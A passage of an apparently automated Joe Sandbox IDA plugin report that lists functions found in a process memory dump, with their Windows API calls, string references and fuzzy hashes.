Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: 0fd3b34988382ce6de2d7089f51e45fe29c43ac60ec5126fc5ef90f86f013efa
Instruction ID: 8dee8932953ff464b1bf56c7147d45b52a0cab070113167c2947fcc016d2c439
Opcode Fuzzy Hash: 0fd3b34988382ce6de2d7089f51e45fe29c43ac60ec5126fc5ef90f86f013efa
Instruction Fuzzy Hash: 8721F131608215AFDB14DFA8DC88CAA77ECEF0E3607108125F910EF2A0DA78EC44CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00EB04D2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80pipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(0000000C), ref: 00EB04F2
CreatePipe.KERNEL32 ref: 00EB052E

Strings

nul, xrefs: 00EB0567

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: CreateHandlePipe
String ID: nul
API String ID: 1424370930-2873401336
Opcode ID: 96d951cc77f723bc107fab92b26bf372136fa59dcf3d58d31a082d27d7671191
Instruction ID: 1f4911eb983a6fd0b481e5ae044077419c55709775b4006c441bf68bfe2921e0
Opcode Fuzzy Hash: 96d951cc77f723bc107fab92b26bf372136fa59dcf3d58d31a082d27d7671191
Instruction Fuzzy Hash: 24215CB5501306AFDB309F69DC44ADB77E4AF44768F204A19E9A1F62E0D770A944CF20

Uniqueness

Uniqueness Score: -1.00%

Function 00EB05A7 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80pipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6), ref: 00EB05C6
CreatePipe.KERNEL32 ref: 00EB0601

Strings

nul, xrefs: 00EB0639

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: CreateHandlePipe
String ID: nul
API String ID: 1424370930-2873401336
Opcode ID: 34177229644d88f0d70f42d21cdbedfa568b42b61661ab9fa3876513ad2e1e94
Instruction ID: a39fd1d75259ba30cd029af6fe82df90c8fd69112c3ef0c30b0f284ffb6163f3
Opcode Fuzzy Hash: 34177229644d88f0d70f42d21cdbedfa568b42b61661ab9fa3876513ad2e1e94
Instruction Fuzzy Hash: B2217F755003069FDB209F699C04ADB77E4BF95764F201B19E9A1F72E4D770A860CB10

Uniqueness

Uniqueness Score: -1.00%

Function 00ED40AD Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00E4600E: CreateWindowExW.USER32 ref: 00E4604C
Part of subcall function 00E4600E: GetStockObject.GDI32 ref: 00E46060
Part of subcall function 00E4600E: SendMessageW.USER32(00000000,00000030,00000000), ref: 00E4606A

SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 00ED4112
SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 00ED411F
SendMessageW.USER32(?,00000402,00000000,00000000), ref: 00ED412A
SendMessageW.USER32(?,00000401,00000000,00640000), ref: 00ED4139
SendMessageW.USER32(?,00000404,00000001,00000000), ref: 00ED4145

Strings

Msctls_Progress32, xrefs: 00ED40E3

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: MessageSend$CreateObjectStockWindow
String ID: Msctls_Progress32
API String ID: 1025951953-3636473452
Opcode ID: a5bd4d371bd1cf06cb0e63985d166ef12192f33427c05433a47883f97ac5021f
Instruction ID: 2a944d1e6c4f87751a5925e6be0c4e2622ce37e05e1d9d857edb217d5ed187cf
Opcode Fuzzy Hash: a5bd4d371bd1cf06cb0e63985d166ef12192f33427c05433a47883f97ac5021f
Instruction Fuzzy Hash: F31193B2150219BFEF119E64CC85EE77FADEF18798F015111B718A2190C672DC21DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00E7D7DF Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00E7D7A3: _free.LIBCMT ref: 00E7D7CC

_free.LIBCMT ref: 00E7D82D

Part of subcall function 00E729C8: HeapFree.KERNEL32(00000000,00000000), ref: 00E729DE
Part of subcall function 00E729C8: GetLastError.KERNEL32 ref: 00E729F0

_free.LIBCMT ref: 00E7D838
_free.LIBCMT ref: 00E7D843
_free.LIBCMT ref: 00E7D897
_free.LIBCMT ref: 00E7D8A2
_free.LIBCMT ref: 00E7D8AD
_free.LIBCMT ref: 00E7D8B8

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 2933ec371357d85e0939af21d8d0365b0e51011a77ef7c4dc3c45f1a05a36567
Instruction ID: 011f3f40f8d44a1f048a904bc20134d84f79604b1242c55b2019989e3726f615
Opcode Fuzzy Hash: 2933ec371357d85e0939af21d8d0365b0e51011a77ef7c4dc3c45f1a05a36567
Instruction Fuzzy Hash: B7115E71544B04AAD625FFB4CC47FCBBBECAF80700F44982AF39DB6092DA65B5458760

Uniqueness

Uniqueness Score: -1.00%

Function 00EB096B Relevance: 10.5, APIs: 7, Instructions: 35synchronizationthreadCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(0110A3F0,0110A3F0), ref: 00EB097B
EnterCriticalSection.KERNEL32(0110A3D0,00000000), ref: 00EB098D
TerminateThread.KERNEL32 ref: 00EB099B
WaitForSingleObject.KERNEL32 ref: 00EB09A9
CloseHandle.KERNEL32(00000000), ref: 00EB09B8
InterlockedExchange.KERNEL32(0110A3F0,000001F6), ref: 00EB09C8
LeaveCriticalSection.KERNEL32(0110A3D0), ref: 00EB09CF

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
String ID:
API String ID: 3495660284-0
Opcode ID: 9218f37f30d8eb2c7ef6a692d95781085852642f6b3f28d6afffd525848183be
Instruction ID: 44d6566f0f21e971f22311cdcd547c165a7fb50712dd13f3a6515fb0fca00771
Opcode Fuzzy Hash: 9218f37f30d8eb2c7ef6a692d95781085852642f6b3f28d6afffd525848183be
Instruction Fuzzy Hash: FEF01D31483913AFD7515B95EE88BD67B35FF41742F502116F101B08B1C774A469CF90

Uniqueness

Uniqueness Score: -1.00%

Function 00E701B7 Relevance: 9.3, APIs: 6, Instructions: 269COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 00E700BA
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00E700D6
__allrem.LIBCMT ref: 00E700ED
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00E7010B
__allrem.LIBCMT ref: 00E70122
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00E70140

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@
String ID:
API String ID: 1992179935-0
Opcode ID: 8fbb49ba762f8ece8e29681380aa111ddf72d6c7443a1a5a7b6c612577c50f6c
Instruction ID: f17930a8099cba36ff5f834a769c489e17097516d9d3bf99dea1af598bdd60a9
Opcode Fuzzy Hash: 8fbb49ba762f8ece8e29681380aa111ddf72d6c7443a1a5a7b6c612577c50f6c
Instruction Fuzzy Hash: 8A812871B00706DBE724AF68DC41B6B73E9AF41368F24A53EF559F6281E7B0D9008B50

Uniqueness

Uniqueness Score: -1.00%

Function 00E9F7AD Relevance: 9.2, APIs: 6, Instructions: 183memoryCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(00000035), ref: 00E9F7B9
SysAllocString.OLEAUT32 ref: 00E9F860
VariantCopy.OLEAUT32 ref: 00E9F889
VariantClear.OLEAUT32 ref: 00E9F8AD
VariantCopy.OLEAUT32 ref: 00E9F8B1
VariantClear.OLEAUT32 ref: 00E9F8BB

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Variant$ClearCopy$AllocInitString
String ID:
API String ID: 3859894641-0
Opcode ID: 62059b90202953d415ed9a807059ea7066202e0ccbcaa05ebc5c4b30746c2d52
Instruction ID: 450ec3434c5eb298e56546a3b199cca0c54bc77d5d0353a92994bf83758c2b8b
Opcode Fuzzy Hash: 62059b90202953d415ed9a807059ea7066202e0ccbcaa05ebc5c4b30746c2d52
Instruction Fuzzy Hash: EA51B531600310BACF24ABA5D895B69B3E9EF85324B24A467E905FF296DB70CC40C796

Uniqueness

Uniqueness Score: -1.00%

Function 00EB910C Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 383COMMON

Download Yara Rule

APIs

Part of subcall function 00E47620: _wcslen.LIBCMT ref: 00E47625

Part of subcall function 00E46B57: _wcslen.LIBCMT ref: 00E46B6A

GetOpenFileNameW.COMDLG32(00000058), ref: 00EB94E5
_wcslen.LIBCMT ref: 00EB9506
_wcslen.LIBCMT ref: 00EB952D
GetSaveFileNameW.COMDLG32(00000058), ref: 00EB9585

Strings

X, xrefs: 00EB9412

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: _wcslen$FileName$OpenSave
String ID: X
API String ID: 83654149-3081909835
Opcode ID: 869b365df4d7cd3e1118c33bf822e541b25c78226f19c2b3a344237b6dc84e8a
Instruction ID: a8b149f197423e1622a18e378fd52fbbdf8282cc479f183d2801d30be547167d
Opcode Fuzzy Hash: 869b365df4d7cd3e1118c33bf822e541b25c78226f19c2b3a344237b6dc84e8a
Instruction Fuzzy Hash: 12E1B0319083008FD724DF24D881AABB7E5FF85314F14996DF999AB2A2DB31DD05CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00E5920C Relevance: 9.1, APIs: 6, Instructions: 113COMMON

Download Yara Rule

APIs

Part of subcall function 00E59BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00E59BB2

BeginPaint.USER32(?,?), ref: 00E59241
GetWindowRect.USER32(?,?), ref: 00E592A5
ScreenToClient.USER32(?,?), ref: 00E592C2
SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 00E592D3
EndPaint.USER32(?,?), ref: 00E59321
Rectangle.GDI32(00000000,00000000,00000000,?,?), ref: 00E971EA

Part of subcall function 00E59339: BeginPath.GDI32 ref: 00E59357

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: BeginPaintWindow$ClientLongPathRectRectangleScreenViewport
String ID:
API String ID: 3050599898-0
Opcode ID: 1d4294e9c280fa81eab6007ceb2fee3f67e1a92403cadfb7d4d0faf6bb3427b0
Instruction ID: 363ff46f6508d0a2aa9bcec269e5d88ed3cf95727aefe36ff468b5f91a2d2ae4
Opcode Fuzzy Hash: 1d4294e9c280fa81eab6007ceb2fee3f67e1a92403cadfb7d4d0faf6bb3427b0
Instruction Fuzzy Hash: B741AD30105201EFDB10DF25DC84FEA7BF8FB55765F140629FAA4A72A2C7309849EB61

Uniqueness

Uniqueness Score: -1.00%

Function 00EB07EF Relevance: 9.1, APIs: 6, Instructions: 107fileCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,000001F5), ref: 00EB080C
ReadFile.KERNEL32 ref: 00EB0847
EnterCriticalSection.KERNEL32(?), ref: 00EB0863
LeaveCriticalSection.KERNEL32(?), ref: 00EB08DC
ReadFile.KERNEL32 ref: 00EB08F3
InterlockedExchange.KERNEL32(?,000001F6), ref: 00EB0921

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: CriticalExchangeFileInterlockedReadSection$EnterLeave
String ID:
API String ID: 3368777196-0
Opcode ID: 2fcd348d3b130377eb0eab84478df72b4123e8e1f86c5b06a84195fb938df8a4
Instruction ID: 919511a540d3421a9d999c9b1631059f5ae623144fd60fbbfea01912a914a7d7
Opcode Fuzzy Hash: 2fcd348d3b130377eb0eab84478df72b4123e8e1f86c5b06a84195fb938df8a4
Instruction Fuzzy Hash: 35417A71900206EFDF14AF54DC85AAB77B8FF44310F1440A9ED04AA2A7DB30EE65DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00ED81DB Relevance: 9.1, APIs: 6, Instructions: 104windowCOMMON

Download Yara Rule

APIs

ShowWindow.USER32(FFFFFFFF,00000000), ref: 00ED824C
EnableWindow.USER32(00000000,00000000), ref: 00ED8272
ShowWindow.USER32(FFFFFFFF,00000000), ref: 00ED82D1
ShowWindow.USER32(00000000,00000004), ref: 00ED82E5
EnableWindow.USER32(00000000,00000001), ref: 00ED830B
SendMessageW.USER32(?,0000130C,00000000,00000000), ref: 00ED832F

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Window$Show$Enable$MessageSend
String ID:
API String ID: 642888154-0
Opcode ID: 5af9e2be6c5f94a45134bcf6d52339766a769359a7f7043a88eb9d773b467daf
Instruction ID: a6b0b1a890bb936de5b01c693d9173578348a4f21f391a5632a78022a34eab7e
Opcode Fuzzy Hash: 5af9e2be6c5f94a45134bcf6d52339766a769359a7f7043a88eb9d773b467daf
Instruction Fuzzy Hash: 1D41C634601644EFDB11CF25DE95BE47BF0FB06718F19626AE6586B3B2CB319846CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00EA4C7D Relevance: 9.1, APIs: 6, Instructions: 87windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00EA4C95
SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 00EA4CB2
SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 00EA4CEA
_wcslen.LIBCMT ref: 00EA4D08
CharUpperBuffW.USER32(00000000,00000000), ref: 00EA4D10
_wcsstr.LIBVCRUNTIME ref: 00EA4D1A

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: MessageSend$BuffCharUpperVisibleWindow_wcslen_wcsstr
String ID:
API String ID: 72514467-0
Opcode ID: 0d6001b61c0edda3fa8f9e9c9e5deb0f10f1cc227dec6e00c004cb9fb51ff51d
Instruction ID: faf10d4f2e7820a5b406741725f825797ec148135719de54c3c35dec55a70770
Opcode Fuzzy Hash: 0d6001b61c0edda3fa8f9e9c9e5deb0f10f1cc227dec6e00c004cb9fb51ff51d
Instruction Fuzzy Hash: 262107B16052017BEB155B39AC0AE7B7BDCDF8A760F10502AF809EE1D1DEA1EC00C2A1

Uniqueness

Uniqueness Score: -1.00%

Function 00EB581E Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 336comCOMMON

Download Yara Rule

APIs

Part of subcall function 00E43AA2: GetFullPathNameW.KERNEL32 ref: 00E43AC2

_wcslen.LIBCMT ref: 00EB587B
CoInitialize.OLE32 ref: 00EB5995
CoCreateInstance.OLE32 ref: 00EB59AE
CoUninitialize.OLE32 ref: 00EB59CC

Strings

.lnk, xrefs: 00EB5876, 00EB58C1, 00EB5985

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: CreateFullInitializeInstanceNamePathUninitialize_wcslen
String ID: .lnk
API String ID: 3172280962-24824748
Opcode ID: cf30eff35cfb344b81d1ca51b5ddf31d0d981713cc1ccf01e2524fdede9dd7e8
Instruction ID: efc111af340f888dc017c464b0ad053b320e9fe2f8cf764c41d62032c8b0cebb
Opcode Fuzzy Hash: cf30eff35cfb344b81d1ca51b5ddf31d0d981713cc1ccf01e2524fdede9dd7e8
Instruction Fuzzy Hash: 0ED16472A087019FC714DF24C480A6BBBE1EF89714F14985DF899AB361DB31EC45CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00EA175D Relevance: 9.1, APIs: 6, Instructions: 68memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00EA0FB4: GetTokenInformation.ADVAPI32 ref: 00EA0FCA
Part of subcall function 00EA0FB4: GetLastError.KERNEL32 ref: 00EA0FD6
Part of subcall function 00EA0FB4: GetProcessHeap.KERNEL32 ref: 00EA0FE5
Part of subcall function 00EA0FB4: HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00EA0FEC
Part of subcall function 00EA0FB4: GetTokenInformation.ADVAPI32 ref: 00EA1002

GetLengthSid.ADVAPI32(?,00000000,00EA1335), ref: 00EA17AE
GetProcessHeap.KERNEL32 ref: 00EA17BA
HeapAlloc.KERNEL32(00000000), ref: 00EA17C1
CopySid.ADVAPI32 ref: 00EA17DA
GetProcessHeap.KERNEL32 ref: 00EA17EE
HeapFree.KERNEL32(00000000), ref: 00EA17F5

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Heap$Process$AllocInformationToken$CopyErrorFreeLastLength
String ID:
API String ID: 3008561057-0
Opcode ID: 45b086bf88dcee8625e626b7714ca2d0df3268a492d03d8667c4b993e6b22f59
Instruction ID: a730db22cb49a51665b7ba171a6345e474ba00baf55a3c1d29c21ab1d3978dc5
Opcode Fuzzy Hash: 45b086bf88dcee8625e626b7714ca2d0df3268a492d03d8667c4b993e6b22f59
Instruction Fuzzy Hash: 9611E131506206FFDB108FA4DC48FAE7BB8EB4B359F20605AF441BB150C731A944CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00EA14CE Relevance: 9.1, APIs: 6, Instructions: 64processCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00EA14FF
OpenProcessToken.ADVAPI32 ref: 00EA1506
CreateEnvironmentBlock.USERENV(?,00000004,00000001), ref: 00EA1515
CloseHandle.KERNEL32(00000004), ref: 00EA1520
CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00EA154F
DestroyEnvironmentBlock.USERENV(00000000), ref: 00EA1563

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
String ID:
API String ID: 1413079979-0
Opcode ID: d281599537196fea392ca71bbfa90361465db7c896bcb64a770b1d4a394fb1f9
Instruction ID: 620e614c07e9cd8a24927c0a678fab361a2a417e3a727b7359f4ee3fe8221be6
Opcode Fuzzy Hash: d281599537196fea392ca71bbfa90361465db7c896bcb64a770b1d4a394fb1f9
Instruction Fuzzy Hash: 1D11897250120AAFDF118FA8ED09BDE3BA9EF49748F144056FA05B60A0C371DE64DB60

Uniqueness

Uniqueness Score: -1.00%

Function 00E63382 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00E63390
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00E6339E
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00E633B7
SetLastError.KERNEL32(00000000,?,00E63379,00E62FE5), ref: 00E63409

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
